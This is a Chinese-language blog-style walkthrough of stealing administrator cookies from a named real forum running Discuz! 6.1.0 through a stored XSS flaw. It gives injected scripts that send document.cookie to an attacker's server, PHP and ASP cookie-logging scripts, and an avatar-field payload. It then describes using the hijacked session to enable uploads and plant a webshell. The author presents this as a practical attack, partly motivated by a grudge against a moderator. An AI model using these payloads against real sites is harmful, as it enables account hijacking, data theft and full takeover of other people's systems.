网上关于XSS入侵网站的例子很多,但是大多都是一些恶作剧性质的介绍.下面本人来亲自介绍下利用脚本入侵国内某安全论坛的过程
就像主题所说一样,今天测试的论坛是DISCUZ! 6.1.0
目标:卡巴技术论坛 http://kpchina.net http://bbs.kpchina.net
工具:无(感觉本人的入侵方式不是很高级,低调,所以不用工具,需要的东西自己写,都是脚本哦~!o(∩_∩)o...)
下面开始入侵:
XSS(Cross Site Scripting)攻击,想要获得权限就要找漏洞,大家都是知道,DISCUZ! 6.1.0 论坛有XSS漏洞,这是前人的经验,我不邀功
很多人只是知道有XSS漏洞可以加个alert之类的标记,但是都属于恶作剧的范畴,实用战术才是抓住入侵的关键,让那些大意的编程人员和系统管理员能够提高安全意识。真正具有威胁性的XSS攻击方式就是那就是网上提到的窃取Cookie,Cookie是保存在本机临时目录,记录本机帐户登录网站的帐户信息,窃取它,并不能看到被窃取人的帐号和密码,有人会问,那有什么用,我们要的只是Cookie文件,只要把具有相应网站权限帐号的Cookie拷贝到入侵者自己机器的临时目录下,覆盖刷新那个网站,就能自动登录进去,获得其站点权限。
上面说的是思路,下面说下如何活动卡巴论坛的管理权限
要获得卡巴技术论坛的管理员帐号的Cookie,就要在论坛里注入获得帐号Cookie的js脚本,将Cookie以post方式提交给入侵者
如图:
论坛——>入侵者布置的跨站攻击——>转移被入侵这视线(隐蔽)
论坛插入脚本:
各位应该知道网上比较有名的 鬼仔blog 他用的是
var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie); |
但是我不一样,因为他需要诱导人去点击他的链接,但是现在人不是傻子,不会轻易点你的链接。而我是要把脚步插入论坛页面中,这样既隐蔽又省去了诱导的力气
我插入的脚本如下:
****************************************************************************** <script language="JavaS<wbr>cript"> window.location.href="http://www.****.cn/upload_files/reg.php?var"+document.cookie; </script> <br>******************************************************************************</wbr> |
跨站攻击脚本:
reg.php
*********************************************************************** <?php if (isset($_GET['var'])) { file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var'])); } ?> <script language="JavaS<wbr>cript"> window.location.href="http://www.ccXv.com"; </script> //转移页面隐蔽上面记录cookie的操作<br><br>***********************************************************************</wbr> |
剩下的步骤就是等着鱼自己上钩了
当管理员帐号点入论坛某个页面时,这个页面却被转到了某新闻网站,其实不知,他的cookie已经被记录
拿这个cookie登录论坛,(删东西不推荐哦~~),可以临时开启上传php文件,例如phpwebshell,然后再关闭,这样你就可以很轻松的操控整个论坛站点
为什么选择此论坛做入侵讲解,很简单,这个论坛具备了多个漏洞:
一、论坛有XSS漏洞,没有对输入输出做过滤
二、论坛采用cookie方式记录用户信息
三、对论坛上某个版主看不惯,有点权利乱封号,不过,毕竟论坛不是那个人的,还是对管理员手下留情吧(做人要厚道!)
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
以下是获取cookie的php源代码:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("test.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
?>
<script language=vbscript>
document.location="http://my.51.net/bbs/"
</script>
如果得到cookie,则在空间中生成test.txt,为了不引起怀疑,将自动把网页转换到http://xiaomutou.51.net/bbs/,把它上传到支持php的空间上。比如这里我把它传到 http://my.51.net/info2.php 然后注册一个用户(强烈建议大家注册英文用户,如baobaoguai) 我们在“关于自定义头像”中插入如下代码:
java script:window.open('http://my.51.net/info2.php?'+document.cookie);
然后提交,现在这个的头像已经成了一段偷cookie的特殊代码。现在回到首页,看看在线成员列表,点我们刚才注册的用户,看,它弹出了两个窗口,一个是关于baobaoguai这个用户的资料,另一个则是http://my.51.net/bbs/
获取cookie的asp源代码:
<%
testfile=Server.MapPath("cookies.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>